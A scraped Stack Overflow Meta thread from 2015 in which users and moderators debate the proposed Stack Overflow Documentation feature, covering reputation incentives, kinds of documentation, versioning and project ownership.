Overall, I can't imagine that it will be better than the "Gets the row enumerator" style documentation it seeks to replace, although it will be better in some places and worse in others.
If there is value in user-contributed documentation, it lies in creating the examples and tutorials of real-world usage.
This could be good. I'm tentatively in favor of the experiment. However, I'm worried by the overlap with the Q&A format. I envisage a lot of argument about what belongs as a documentation topic and what should be presented as Q&A and/or tag wiki. New users will be especially confused. I've read this page several times and I'm still confused. If the line can't be drawn clearly then it's going to cause so much fuss that we should not bother with the feature, and should stick to Q&A and tag wikis.
Addendum: I'm not looking forward to the inevitable gold rush when the feature goes live. It is already the case that Stack Overflow rep is based much more on post visibility than on post effort, and a big part of visibility is being first to snipe in with an answer or question. (We all know this, and we all do it, even though we like to think our own rep scores are based on nothing but pure cleverness.) I expect that opening up an entire new section of the site will cause a new race to snag the common issues and popular topics. Speed and quantity will be rewarded with rep more than quality. It's going to be a race to grab land to plant the seeds of future rep growth, more than an altruistic collaboration to build ideal documentation.
BoannBoann
The line is that documentation is general and questions are specific. An example I've used internally, if there is a documentation topic for adding classes to elements in jQuery with sufficient examples, and someone comes to the site and asks how to add a class to an element in jQuery, it could be closed by pointing to appropriate documentation. If the question includes the exact html of the posters use case, it is specific enough to warrant a question with a link to the relevant docs page. Almost all integration type questions are specific enough to be questions. – Nick Larsen♦ Sep 1 '15 at 1:27
Let's be honest: it's always the developer who is liable. Hence the common rejection of liability in EULAs... – Shog9 Sep 1 '15 at 2:17
Re: rep gold rush. I've been working on exactly this problem. Effort is worth about as much as it actually helps people, so there is value in visibility. There are 2 clear fundamental differences in docs vs Q&A, 1) docs are broad and should typically help more people, of course yes there are still some less used tools and features to document, 2) there really should only be one topic for a thing, not 10 answers for it, so editing the existing thing needs to feel correct in this system. – Nick Larsen♦ Sep 1 '15 at 3:05
Because these things are so different, we're open to testing new rep systems completely, but we're holding off until we have some actual usage data from beta before we waste too much time modeling fantasies. – Nick Larsen♦ Sep 1 '15 at 3:07
There's quite a few answers for the nay-sayers. There are answers for the yay-sayers. There's also a few answers highlighting specific doubts.
This answer is for people, who share my view:
Cautiously optimistic;
Skeptical (in the good sense);
Willing to give it a fair chance;
Basically this answer is for those who think the proof is in the pudding. So regardless of my skepticism, please let me have some of that pudding so I can decide whether I like it or not.
JeroenJeroen
Sorry, but no green pudding for me. – Taryn♦ Aug 31 '15 at 20:30
@bluefeet Would blue pudding be better? The pica is licensed CC so nothing a hue filter won't fix... ;-) – Jeroen Aug 31 '15 at 20:38
What is that dark stripe? – hek2mgl Aug 31 '15 at 20:39
@hek2mgl Dunno, just picked the puddingiest pica from the puddings category on wikimedia. – Jeroen Aug 31 '15 at 20:41
I think they are inner shells of pistachios. – Buddy Sep 2 '15 at 15:24
Could also be almonds, since en.wikipedia.org/wiki/Pistachio_pudding says so. :) – Matt Sep 3 '15 at 12:28
Eh... what is this answer for? – Lightness Races BY-SA 3.0 Sep 3 '15 at 13:45
You've told us who this answer is for, but you haven't told us what the answer is. – Caleb Sep 8 '15 at 4:43
Well, as often on meta, the question isn't immediately clear, so the answers will not be either. I think the question can be assumed to be at least one of ["How would documentation on SO help documentation, and vice versa?", "Do you think this will work?", "Will you please register for the beta?", "Do you already have some feedback?"]. I think my answer fits any of those, summarized as: I'm positive yet skeptical, I don't know if it'll work until I've tried, but I'm certainly willing to give it a try. – Jeroen Sep 8 '15 at 6:51
What are those "doubts" you mention? – Kerrek SB Sep 15 '15 at 9:29
@KerrekSB Not sure if you're asking a real question or whether that's sarcasm; there's 80+ answers, quite a few of which express 'doubts' about this idea (ranging from "this will never work" to "have you thought about such and such"). – Jeroen Sep 15 '15 at 10:10
I agree. Seeing green pudding, I'd sniff it first. Prod it a bit to make sure it's not alive. Dip the spoon tip in it and tentatively lick it. If it isn't too bad, I'd try a mouthful - and, hey, perhaps it turns out to be surprisingly good! – usr2564301 Nov 8 '15 at 11:36
I love the optimistic If a project already has awesome documentation that’s easy to search and cite, then there’s no need to duplicate it on Stack Overflow. Yeah, right.
I'm a big fan of using simple diagrams to explain things so please please include something like Doxygen's use of Graphviz, PlantUML or any textual format for diagramming. Obviously a bias towards ease of use is needed.
Versioning is probably the biggest issue and I'm glad to see the comment that you have plans to cope already. It needs to be possible to not only search by version but also to see how things change between them so a parallel viewing option would be great.
16.2k11 gold badge1313 silver badges99 bronze badges
First, a little background.
I have some experience on Stack Overflow. One could call that a form of documentation. But I also am the primary contributor to another form of documentation: the OpenGL Wiki. I personally transformed it over the course of years from a dumping ground/crappy FAQ into a legitimate and genuinely useful resource.
Not to toot my own horn, but I think I know a little something about documentation.
The Forms of Documentation
All forms of documentation seek to provide knowledge. But the hardest part is knowing what form you need and how to index that form.
Reference documentation
The simplest form of documentation is what I call Reference documentation. These are often derided by newbies as being "only useful if you already know the answer." However, anyone with any real experience knows the importance of reference documentation.
Reference documentation is, essentially, taking each API or basic element of something, and explaining everything you can do with it. If you look up an API function's reference documentation, it should explain what the inputs mean, what the outputs are, and most importantly what the function does.
But the newbie's perspective on reference documentation is not unreasonable. Using my field of expertise (ie: OpenGL) as an example, take the function glTextureStorage2D. That is a solid piece of documentation. It tells you what the function does. Namely, allocating storage for a texture object.
Here are just a few of the things that it doesn't tell you:
What's a texture object?
What does it mean for a texture to have "storage"?
What are mipmaps?
What are array layers?
And here's the thing. No matter how important it is to understand those concepts, reference documentation should not explain them! That is simply not its job.
The newbie perspective is not entirely wrong: you absolutely must understand the basic concepts of a system before reference docs can help you. And it is important to have such documentation, because reference docs become a lot less useful if they have to spend lots of time explaining such concepts.
The strength of reference docs are also their primary weakness: when done right, they're assuming you already know a lot about the subject matter.
Another weakness is that it often involves a lot of duplication of information. Again taking OpenGL as an example, just look at the text on glTextureStorage1D and glTextureStorage2D. They are two separate pages, but they're almost identical.
Tutorial/Example documentation
Example-focused documentation is basically someone writing out some (presumably functional) code, and then explaining how it works.
Among the other things I've done for OpenGL is write this. I used to think of it as a tutorial, but I realize that it went quite far from being a pure "tutorial". One of the things I encountered while writing that was that I was constantly having to stop and explain how various elements of some feature worked.
Here's what I mean. In Chapter 2, I introduce the ability to interpolate colors across a polygon's surface. I explain that there are three ways to perform that interpolation: smooth (the default), flat, and noperspective. But... I couldn't really talk about the difference between smooth and noperspective. Why?
Because I hadn't introduced perspective projection yet. And without that, there is no difference.
I could have introduced perspective projection earlier, perhaps. But then I would have to hold off on having any per-vertex parameters interpolated across a primitive. That significantly limits the amount of stuff you can do.
I also could have introduced perspective correct interpolation when I introduced perspective projection. However, that chapter was already gigantic, and adding a seemingly random discussion about something that wouldn't be followed up on (the genuine uses for noperspective are few and far between) hurt the overall pacing of the work. It just didn't flow very well; it always felt kinda out-of-place.
The strengths of tutorial/example-focused documentation are that it's example-focused. The user sees code that they can download and run themselves. They get to poke at it to see what happens. And so forth.
The weaknesses of it are:
They're generally no less impenetrable than references. Oh, there can be beginner focused tutorials/examples. But other than those, they will always assume some degree of familiarity with the subject matter. So beginners still need not apply
Unlike references, they're usually not comprehensive. It's hard to provide a single example that comprehensively explores a subject. I'm more-or-less an expert in OpenGL, and I could never write a single, simple example that explores everything that glTextureStorage2D does.
They can require a lot of boilerplate. Let's say I want to write documentation for how image load/store works. Well, I can't just do that; I have to contrive an example. I also have to create and possibly load images.
They often have requirements other than code. OpenGL is a huge offender here, because to do anything beyond toy examples... you need data. You need meshes. You need textures. You probably don't want to write all your shaders inline, so you need files for them too. Web applications often have database needs. So even if you write an example, how do you deliver it? How do you deal with the large number of C and C++ build tools that exist? Is it just code on a website or is it something people can run?
Concept documentation
Unlike the others, the nomenclature for this is purely mine.
Concept documentation refers to documenting, not the individual behavior of a system's APIs, but the behavior of a system's concepts. That has been my general goal with the OpenGL Wiki: each page is about different concepts of OpenGL. Indeed, the only reason I imported the reference pages into the Wiki was because filing bug reports to get references fixed was (and still is) taking way too long.
Concept documentation fills a very important gap. Unlike reference documentation, it focuses on concepts within the system. Unlike example documentation, it can explore a concept comprehensively. My goal in writing, say, the OpenGL Wiki article on Vertex Shaders is to explain everything about them. Every option is presented, either directly in text or with a link to more details.
It is also a very searchable form of documentation. Not the OpenGL Wiki, but that's more due to MediaWiki's search being crap. People tend to think in terms of concepts rather than API functions that they may not know exist. People may not be able to tell the difference between glTextureStorage2D and glTextureParameter, but they've heard the word "mipmap" before. So even just the headings and subheading will get quite a few hits in search engines, let alone the content.
Conceptual documentation is often bundled with reference documentation. In Doxygen parlance, these would be written as either Pages or Module/Group documentation. The Direct3D documentation has a reference section and a conceptual section, though the concepts tend to be more of an overview.
The weaknesses of this documentation form are:
It can involve a lot of text duplication, in the desire to be comprehensive. I ran into this a lot in my work on the OpenGL wiki. I try to use MediaWiki templates and other magic to reduce actual textual duplication where possible. For example, the Vertex Shader page has a section that describes the built-in inputs to the VS. But there is also a page that describes all of the built-in variables for each shader stage. Both pages are separate concepts, but share some data. So I made a sub-page and simply included it into both pages.
It's hard to know where to start when you want to read through concept documentation. Concepts often refer to one another, but there's no logical beginning point. I've tried several times to come up with a starting point for the OpenGL Wiki, but as you can see from the main page, the best I've been able to accomplish is a giant list of links.
Even if you explain everything about one concept, you still haven't necessarily explain how they all fit together. Example/tutorial documentation is better at assembling the pieces.
These are tools you're meant to read from beginning to end. You're expected to know more or less nothing when you start.
These are typically books, written by actual authors.
On Documentation.SO
I submit that, while each form has its flaws, every form is important. There is a time and place for each form of documentation.
But Stack Overflow is different. SO is collaborative. So, which documentation forms fit into that collaborative ideal the best?
This fits quite well. Once thing about collaboration is that it has to effectively work with drive-by users. Someone who isn't really invested in helping, but maybe they have a few minutes and wants to drop something off.
Reference docs make that happen. There is very loose coupling between different reference pages, so they can get filled in quite quickly. The C++ reference site is probably an excellent example of this. 3 years ago, it was nothing. Now, it easily crushes cplusplus.com as the go-to site for standard C++.
It is also good when dealing with curation. That is, it makes it easy to accept changes, and then have those changes smoothed out by the much smaller number of primary editors of the site.
On the one hand, a person can write an entire example and document it by themselves. But on the other hand, editing someone else's examples become a problem.
You will get code style wars; mark my words. You will get people who absolutely cannot stand one particular indentation style or whatever, and they'll just go in and "fix" it. Or worse, you'll get lots of different coding styles across examples.
I think a bigger problem here though is the lack of comprehensiveness. And OpenGL makes for a good example of this.
How many OpenGL programmers can write an example of buffer object usage? Lots. How many can write an example of Image Load/Store usage? Far fewer.
Which means that you're going to get lots of examples of ways to do easy/trivial stuff, with very few examples of the harder things the API offers. You'll see plenty of examples for "my first texture", but far fewer for "projective texturing". What's worse is that you could get examples of shadow mapping without examples for projective texturing, even though projective texturing is required for many forms of shadow mapping.
I just don't think a tutorial repository is going to work collaboratively.
I think this can work collaboratively. Wikipedia is a great example of concept-based documentation being created and edited collaboratively.
It also shows many of the potential pitfalls of it. Everyone wants to put their own stuff in, but nobody wants to organize it. You'll never be quite sure that it's truly comprehensive. And so forth.
Good God, no!
Again, leveraging my authority on the subject, I would say that building learning materials by collaboration is a doomed proposition. A good work for learning requires planning and careful consideration of what new users do not know. At the very least, a good learning work requires someone coming up with an outline.
See, the best learning books introduce ideas, then build on them more and more. With each step, they add new concepts, but they are built upon previous ones.
I structured my "tutorial" series very carefully in this regard. Or at least, I tried to. Each tutorial tried to use functionality that was introduced in the previous one, and thereby reinforce lessons learned before.
That's not something you can do collaboratively, among a group of equals. That's something that 1-3 people need to sit down and actually accomplish.
Required technology
Making good documentation in HTML is easy. Well, it's possible. Making good documentation in not-HTML... that's a bit harder. Each documentation form has its own needs as far as formatting, and not all of them are available in Markdown.
Reference docs are centered around API functions. Even class-based docs like JavaDoc or Doxygen are still centered around the documentation of each function. So there must be some way of formatting function signatures.
Of course, every language has its own needs for function documentation. That's going to be a nightmare to work out in terms of formatting. DocBook makes a good show of it in its funcsynopsis type, but even that is focused on languages that look like C.
Not to mention, functions are often aggregated into classes or just conceptual groups. Not only does this need to be a part of any reference documentation scheme, it has to be able to import part of the function's documentation. This allows Doxygen/JavaDoc-style brief documentation that gives a quick summary of the function.
There has to be some facility for dealing with overloads. This is the absolute bane of Doxygen; having to find a way to document 5 functions that all have the same name, but different parameters. It wants to make them 5 separate entries, but no human being actually likes that. If Documentation.SO wants to handle reference docs, there must be a solution for this.
I guess my point is that formatting is really important for this, and not having it isn't optional.
The formatting needs here are actually quite minimal. The reason being that we already have more or less what we need: the ability to write blocks of code in a specific language.
Probably the biggest need that isn't available is some form of callouts. That is, the ability to label specific locations in a code block, and later refer to them in your text.
There's also the issue of breaking examples up. For longer examples, you will often want to present part of the example, talk about it, then present another few lines, talk about that, etc. So... how do you download the whole thing? Does there have to be code duplication, where the user writes the code into markdown and into some source file?
There are fewer technology needs here, but there are still some needs.
First, as I experienced on the OpenGL wiki, inclusion is crucial. Being able to include a page in another page makes the whole thing far more legible. There are many articles on the wiki that, if you turned the inclusions off, would become a lot less easy to read. Even if you made the inclusions links, you still have to follow those links to get the whole story. Inclusion makes it easy to avoid duplication and repetition.
Also, linking needs finer granularity than "article". Section linking is crucial. At the same time, it's important to be able to turn a section into an article if it's become too big. MediaWiki's ability to make redirection pages helps here. You don't link to sections directly; instead you use redirects to go to needed sections. I imagine that they could come up with other solutions, but there does need to be some solution.
Oh, and the ability to manipulate the wiki with external tools is also important. Again, I speak from experience. I have made many "bots" for the OpenGL wiki, and the ability to rename pages alone made leaning some small bit of C# worthwhile.
Also a tool for automatically building a glossary would not go unused.
Who cares; we shouldn't be trying to do that anyway.
The take-home point
Documentation is hard. Specific kinds of documentation exist. Some can be built collaboratively, and others cannot. And they all have technology needs that Stack Exchange doesn't provide yet.
Nicol BolasNicol Bolas
"There's also the issue of breaking examples up. For longer examples, you will often want to present part of the example, talk about it, then present another few lines, talk about that, etc. So... how do you download the whole thing? Does there have to be code duplication, where the user writes the code into markdown and into some source file?" -- Anybody with thoughts on how to do that, please weigh in on this tech-writing question on Writers. – Monica Cellio Dec 28 '15 at 5:03
I completely resonate with stijn's point on fragmentation.
I can infer from the "How would adding Documentation to Stack Overflow improve Documentation?" section that this project is driven by two main goals:
Questions too broad for SO should be answered somewhere.
A community-driven documentation repository should be available to anyone, featuring what's best, filling the gap in lacking official documentation and (my take) even challenging vendors to compete by improving their own docs.
I'm omitting the rest of the points listed in the question on purpose:
Point 3 is about duplicate questions and providing better docs won't fix a thing in my opinion. If a user is too lazy to search, they are too lazy to search. Rewarding them with spoon-fed solutions doesn't help anyone.
Point 4 is very narrowly pointing out Javadocs use an ancient format. In my opinion, that works albeit ugly - in fact the ugliness helps focus on content, so Javadocs are ultimately what you make of them. But all in all, I think that's a minor point.
What if, instead, there was a SO tutorials site?
The idea being, instead of competing with existing documentation (bad as it may be), the contributor provides community-verified tutorials to get people started with a relatively narrow scope for each topic, whereas the requestor asks for a tutorial on a specific scope.
That would help with the broad questions as long as they have any practical scope, and could grow into a network of related tutorials by SO's aggregation algorithms.
Then again, I might have omitted something crucial...
MenaMena
I think a tutorials site would be a great idea, and wouldn't have to be competing with, duplicating, or fragmenting the official documentation. – Ryan P Sep 1 '15 at 15:27
Check out learnopengl hello window, it contains tutorial, documentation, example, all in one (Note: when you hover the mouse on a function it brings up a box of documentation and example). Some inspiration could be taken from that. – Jossi Sep 5 '15 at 15:07
A much better idea - its sure beats the "cargo cult of copy and paste" that an examples site would create that conflicts with official API documentation. This would be more geared towards understanding a product or feature as a whole before heading to the official references. – gbjbaanb Sep 7 '15 at 10:47
I think this generally sounds like a good idea. php.net does a cut-down version of this, where there is commentary plopped in on the bottom of the documentation pages. The commentary is kind of free-flowing (and upvoted/downvoted), but the documentation is still owned by the project owner.
1) It must be opt-in, not opt-out
Some people control their own technology and documentation and don't want a community-run documentation site. Those wishes must be respected. You don't want to be like getsatisfaction.com was, a while back.
2) Handle 'ownership'
What if you deliberately choose not to document something because you're going to be phasing it out, or you know it's going to change? And then someone comes along and is 'helpful' and documents how it works today - and thus sends everyone careening towards a dead-end? Maybe you need an 'owner' who gets some kind of infinite voting reputation - maybe hook it into GitHub and let the project owners do that? "Benevolent Dictatorships" are especially common in the open source community.
3) Versions are critical
When you're documenting how something works in version x.y, it may be completely different or nonexistent in y.z.
4) Hybrid strategies?
Is there a way to let the project owner/product owner host the documentation, and then put Stack Overflow controls on/around it (A la Discourse or something like that) - but still allowing the project owner to control those changes? Will there be a way for someone to decide to 'import' their documentation back into this new thing? A way to export out?
UberbradyUberbrady
:+1: For Hybrid strategies. Official documentation has a number of advantages that this system can't match, and it'd be great to be able to get the best of both worlds. – Ajedi32 Aug 31 '15 at 20:26
1) opt-in/out: that's interesting and we'll have to think about it. My first thought is, do you want to opt out of people asking questions about your thing on SO? but it's not exactly the same thing. 2) I think the case you point out here is very limited in practice, if it existed and people used it, it should be documented, once better thing is here, old page should direct to new way to success 3) along the same lines as #2, 4) if a project owner blesses it, it's possible we might allow it as long as it's up the rest of our standards, export will be data dump as with the rest of the network – Nick Larsen♦ Aug 31 '15 at 20:27
I absolutely disagree with the opt in/ out. But the hybrid strategies is a very good idea – MCB Aug 31 '15 at 22:13
Long term all this stuff will be in our API, so anybody could re-host live. The trick is, an API needs to be stable... and we'll be constantly breaking things as we respond to feedback. So... eventually hybrid is a thing, no matter what; for initial launch? I'm not sure it's possible. – Kevin Montrose♦ Aug 31 '15 at 22:54
@NickLarsen Sometimes people find methods and classes that were intentionally left out of the documentation because they were intended for internal use or weren't guaranteed to be supported in future versions, and then suddenly when people are using them they have to be left in for backwards-compatibility (see the Windows API for an example). Are there any provisions that would allow the project owners to say "don't use this method" or "don't rely on this behavior because it's not guaranteed to remain" even before the new version is ready for release? – Troyen Sep 1 '15 at 0:58
Check out the history behind "getsatisfaction.com" - people could open up 'comment boards' and it looked like it was an official forum, and then they (getsatisfaction) would send emails to the project owner saying, "Hey, look at all these unanswered questions!" - it looked like extortion. If I have my crappy documentation, but that's the official documentation, I don't want your thing to make stealth documentation on top of it. That's confusing and awful. And feels, also, like "extortion." Knowing you guys, what you make will be good enough to make people switch without forcing their hand. – Uberbrady Sep 1 '15 at 1:29
@Troyen if something made it out in the wild for any amount of time and people used it for whatever reason then it's probably best to say something about it in the docs, but it seems totally fine to mark it as deprecated or obsolete as appropriate. There will mechanisms for those cases. – Nick Larsen♦ Sep 1 '15 at 1:35
I don't think 'opt in' is a good idea. Because I think the people who should be 'opting in' are also the ones that won't, simply because of the nature of the problem. – Sobrique Sep 1 '15 at 16:10
Here's my "nightmare scenario:" You have a project. You make a shiny documentation site for it. You try to make solid documentation. Somebody else (someone being "helpful"? Someone who dislikes your doco for some reason?) sets up a "StackUnderflow" documentation site (or whatever it's called), and puts some shoddy documentation on it. Because of SO's spectacular Google-juice, it gets ranked higher. People yell at you about your bad documentation. You don't want to use StackUnderflow. But too bad. You get a bad reputation for having shitty documentation. And none of it is your fault. – Uberbrady Sep 1 '15 at 17:56
@Uberbrady I kind of agree with what you said and it really makes me think point 1 and 2 would be very important. I'm trying to drive traffic to my own projects for example and might not want SO overshadowing me with their "Google-juice". Plus, personally some of my projects have "methods and classes that were intentionally left out of the documentation because they were intended for internal use or weren't guaranteed to be supported in future" and don't want to deal with "helpful" people pointing those things out. – Blizzardengle Sep 13 '15 at 7:41
As a developer on an open source project, I have mixed feelings about this idea. I'm sure there are many places where it could be useful - some projects just don't care about documentation. But the issue is that I don't want to see documentation for our project on SO.
Our code is on GitHub, along with all of the documentation. Anyone can come along and submit an edit to the official docs, and while it might not be quite as intuitive as a platform which is designed solely for creating docs, it's not too difficult with GitHub's inline editing and ReStructuredText support. Plus, the edits get to appear in the official documentation. If that's too much for someone, or it's more of an example than actual documentation, we also have the GitHub wiki open to submissions.
I also have a decent amount of rep in the associated tag here on SO. But I won't write any docs on SO. I won't approve any submissions by users who do not have enough tag rep and need to use the suggested edits platform (because if it's worthwhile, I want that added to the official documentation instead).
The permissive CC BY-SA license would make it possible for us to directly copy the submissions on SO documentation and incorporate them in our official documentation. But that just furthers the fragmentation issue, and creates more work than if the improvements were submitted directly to our organization in the first place.
But I do agree with the sentiment. There are many times that I have turned to SO, wikis, and other resources because the official documentation for something was so sparse.
I think this is likely the best approach, if the documentation site takes off. Allow users with high rep in a tag to opt the tag out of the documentation site, and provide links to places to submit official documentation. Alternatively, allow someone who can prove they are with the project in question (i.e. listed on the web site, and confirmed via the email on the site) to opt the tag out. This allows projects like ours to still receive community-submitted documentation, without another site competing to do so, and maybe even find some new contributors who may not have thought about submitting the improvements directly. But it also means that organizations which do not keep the documentation up to date, and are not open to community submissions to the official docs, would get extra community coverage here.
Ryan PRyan P
I think this is really worth consideration. At the same time, I would be concerned about letting people connected with a project be the final point of decision on whether documentation can exist here or not. If a project stops having good/up-to-date official documentation, but the project owner won't allow it here, then it's unhelpful for developers who use that project and ultimately unhelpful for the project. – Jo Douglass Sep 1 '15 at 16:06
It's been pointed out elsewhere that documentation won't be for all tags, so it might not affect small projects, anyway. And maybe the state of the documentation elsewhere could be taken into consideration when it's being decided whether documentation should be switched on here for a tag? – Jo Douglass Sep 1 '15 at 16:07
@JoDouglass I agree with that concern. That's why I like particularly the idea of the opt out being determined by high tag rep users, as these are people who do care about SO and tend to help out here, so they're less likely to opt out for malicious (or less than honorable) reasons. – Ryan P Sep 1 '15 at 16:11
Agreed - I definitely prefer that to the project owners having the final say. For small projects - if they even qualify to have documentation switched on here - I would think that if they already have successful collaborative documentation then there's a good chance that high rep users here will already know about/contribute to/use it. It might even encourage the teams behind them to be active here so they can have a say! – Jo Douglass Sep 1 '15 at 16:24
Important remarks. Too few of the answers here are from the perspective of open-source developers. – duplode Sep 1 '15 at 18:45
It would be interesting to somehow give moderator status to project-owners. – xdhmoore Sep 4 '15 at 0:05
@JoDouglass - I'm amused that you and Ryan think a developer would have 'malicious' reasons to opt out here. By 'malicious' I assume you mean they won't be sufficiently humbled by SO's (ridiculous) attitudes towards information duplication and (unhealthy) obsession with rules and procedures. It's alsmost like you're aware already that directing someone to documentation that's been annotated by 500 people arguing over the wording of the first sentence might not be totally awesome. – Derf Skren Sep 7 '15 at 6:08
@DerfSkren Malicious was Ryan's word. My main worry is inactive projects which have opted out at some past in the past, or projects which started out well documented but have since become out of date. Whatever your complaints are about SO, I'd rather have some documentation than none. – Jo Douglass Sep 7 '15 at 7:31
@DerfSkren If you're that unimpressed by SO, then maybe you should find a different platform on which to rant. – Ryan P Sep 8 '15 at 14:47
@RyanP That was part of the point I was making. Searching in Google these days for programming help seems to yield nothing but StackOverflow results, many of which are simply restating (or worse simply linking to) parts of existing manuals or specs. Then there's the arguments. The point system that pays 10 credits to someone for taking "Thanks" off the end of your post. The people who claim every new post is a dupe in 10 seconds. Yes I do find SO annoying but I seem to end up here all the time. So yeah, call it a rant if you want but I for one will be extremely disappointed if SO does manuals. – Derf Skren Sep 9 '15 at 8:28
This seems like a good opportunity for collaboration -- some developers are great at coming up with examples but have trouble with (a) paring those down to the important parts and (b) writing the explanations that ought to go with them. In this model, a less-experienced developer (who might not have written the example at all) could take examples written by others and build out better doc. That seems worth experimenting with.
This means we'll need to award rep at the section level, not just at the whole-topic level. Contributing a usable example should earn rep. Writing a good explanation should earn rep. These might be two different people.
Monica CellioMonica Cellio
Examples and topics will award rep separately in our current rep model. We've decided not to post it now because we'd like to see how people actually use the product before we make any crazy decisions that affect rep. – Nick Larsen♦ Aug 31 '15 at 16:27
An issue I see with this is that while Stack Overflow Docs may become the de-facto source for documentation, it can't be the authoritative source if official documentation exists. In some cases, like actual standards documents, the documentation is correct by definition: if ISO publishes a new Technical Corrigendum to the C standard that contradicts what's written on Stack Overflow, the Stack Overflow documentation instantly become incorrect, no matter how well written.
Even if the official documentation is considered non-normative, you still potentially can end up with situations where Stack Overflow documents the way a system actually works, but contradicts the official documentation. It could well be that the official documentation is still correct and there's a bug in the system. The best course of action in such cases is to contact the author and inform them of the inconsistency so they can deal with it, not to pick one of the inconsistent options and document that. If Stack Overflow becomes the de-facto source for documentation, it may create situations in which the bug can't be removed without confusing everyone who uses the Stack Overflow documentation.
Normal Stack Overflow works fine, since we can answer questions about a specific scenario that isn't mentioned in the documentation, and then reference the document (or set of documents) that relate to the problem. It's more or less explicit that the answers are subordinate to the formal documentation.
That said, I do think there is room here to supplement the official documentation in a way that the existing Stack Overflow does not. If Stack Overflow Docs concentrates on examples of common uses (carefully edited so as to not become exhaustive to the point of uselessness), this would help address a weakness of much of the existing documentation.
Several others have mentioned tutorials; I think that would be excellent, especially if said tutorials referenced the relevant parts of the official documentation in each section. Such references, coupled with the existing voting and commenting system, could help keep the tutorials and examples listed here at a higher level of accuracy than the ones that are basically "This is what I was told when I first learned how to use it, and I never questioned it".
So in summary, I think that creating a set of well-written, reliably-accurate examples and tutorials would greatly benefit the overall level of online documentation without running into the fragmentation issues that duplicating the documentation itself, since there's a clear division of purpose: Stack Overflow Docs is an introduction; the official documentation is the reference manual.
I think MDN provides a useful example here... It's the official docs for mozilla, but not the official docs for ECMAScript, HTML, etc... Much less any platform other than Mozilla's. Yet, it is frequently the best reference for ALL of these. Wouldn't it be nice if there was such a thing for C? For Java? For SQL...? – Shog9 Sep 1 '15 at 2:10
Mozilla can avoid a lot of the issues I mentioned by virtue of being a major implementation of those standards. An equivalent situation would be if gcc had documentation of the C dialect it implements (which it does, although in that case, it doesn't repeat the standard but rather defines the implementation-specified aspects and gcc extensions). Both are the authoritative documentation for that implementation. Hopefully they also sync up well with the documentation for the standard, since if even the docs don't agree with the standard, I'd be skeptical of the implementation itself. – Ray Sep 1 '15 at 2:45
A similar case would be man pages for standard libraries on Linux systems. They frequently contain GNU libc or POSIX extensions. If you're writing for those specific platforms, those man pages are authoritative. If you're developing fully portable code, the ISO docs are. Stack Overflow doesn't contain an implementation for which it can be the authoritative implementation, so all it can do is repeat information from the existing docs, possibly introducing errors or as it goes, or just getting out of date as the real specification/implementations change. – Ray Sep 1 '15 at 2:49
I should've provided an example; here's an arbitrary page on MDN: note that it documents the syntax and behavior, links to the standard, documents deviations from the standard for various Mozilla software, documents support for other major browsers, documents deviations from the standards for those browsers... IOW, it's a one-stop shop: if I'm using that property, I wanna read MDN even if I don't particularly care about targeting Mozilla browsers! – Shog9 Sep 1 '15 at 3:00
The equivalent would be reading GCC's docs when using Microsoft's compiler, just because they do a better job of documenting the behavior than MSDN. That's why I say use MDN as an example here... They do it right. All documentation should be like MDN. But of course, it isn't; generally you're silly-lucky if a vendor even documents their own product well; expecting them to document how they deviate from the standard (if one exists) is heaven, expecting notes on deviations from other vendors is... What's too good for heaven? – Shog9 Sep 1 '15 at 3:00
Even the best documentation I've seen so far has its limits - they are either proprietary-built and therefore lack user contributions to keep them updated, or lack a committed user base. The most notable documentation sources I can recite will be MDN or jQuery API pages, but even those documentations doesn't help programmers efficiently - That is, to land, [optionally] understand the contract, [optionally] understand the implementation, [optionally] determine if it's the right method to use, and how to use it.
Several reasons I think the new Stack Overflow Documentation feature would help with this:
Narrow fields (Bungeecord Spigot, for example) which its official documentation is lacking can attract its users to SOD and therefore collaboratively build a wiki to help each other as well as the future readers.
Even fields that are big can benefit as well, as linking to Stack Overflow questions from Documentation would easily cover every bit of obscure behaviour and knowledge.
Usage examples demonstrates behaviour more concisely than text.
UnihedronUnihedron
There are many more. php.net, cppreference.com, ... It's not like SO would be the first to discover that documentation could in principle be a community driven project. – Trilarion Aug 31 '15 at 16:36
"but even those documentations doesn't help programmers efficiently" -- The main purpose of documentation is being an authoritative reference on what some piece of software does. While it is a nice bonus when examples and other extra materials are effectively integrated into it, trying to cover all bases can lead to mission creep. – duplode Aug 31 '15 at 17:33
Please, please, don't call it SOD :) – mirabilos Aug 31 '15 at 19:38
@Trilarion I would not take php.net as an example of good documentation. There are a lot of bad things in it (even if by being a not bad developer you can avoid the trap) – Xavier Combelle Aug 31 '15 at 19:48
I have a few thoughts:
Name. A lot of answers are hung up on the use of "documentation," but it seems to me that the humbler name of "wiki" fits better and will ruffle fewer feathers.
Scope. Along the same lines: to me, it looks like "topics" can cover anything worth documenting (e.g., "how to collapse matrix columns in R"), not just separate docs for each and every function ("colSums", "colMeans" and more). However, the OP can be read different ways on this point.
If it's just function documentation, it will truly be useless for R, where the per-function documentation is excellent, but the function names are all over the map, making it hard to identify the set of tools that can do the job.
Structure. I agree with @IVlad that it would be nice to have some structure. I'd suggest:
Language. Each language is a silo, totally split off from the others.
Area. Within each silo, the gold-badgers manage a small set of top-level tags that can be applied to topics. (For R: "estimation", "visualization of data", "reshaping data", "interface", etc.) Tags are voted on by gold-badgers, and are automatically deleted after accruing enough downvotes (and maybe blacklisted from re-proposal for a month).
I think (1) piggybacking on SO tags would be forcing a square peg through a round hole; and (2) any fancier hierarchical structure would just lead to scuffles, and later, apathy. Edit: Based on @KevinMontrose's comment on other programming languages (below), it sounds like even this simple hierarchy won't be possible, so we will be piggybacking. I suspect that tags designed for Q&A will not naturally extend to this new environment, though, and hope the idea of using a different structure will be revisited if this project takes off.
My only immediate positive thought relative to R was that it might be a nice place to expand on the Examples section in the existing specific R documentation pages, which can sometimes be pretty limited. – joran Aug 31 '15 at 20:06
For scope - we're imaging most things allowed in existing docs would also be, basically anything that can fit in a single page. Not just function/class/module level, but mini-tutorial (single page) and things like "Getting Started". – Kevin Montrose♦ Aug 31 '15 at 20:21
Structure is tricky, I prefer a 1-to-1 with tags (but requiring some census to create an area off of tag) because then we've got an easy way to "transfer" between Q&A. Not so much moving text around, but reputation, badges, search, and linking all have clear relationships. Language > area also breaks down around .NET (many languages, single area), Java (many languages, many areas), iOS (two languages, single area). – Kevin Montrose♦ Aug 31 '15 at 20:24
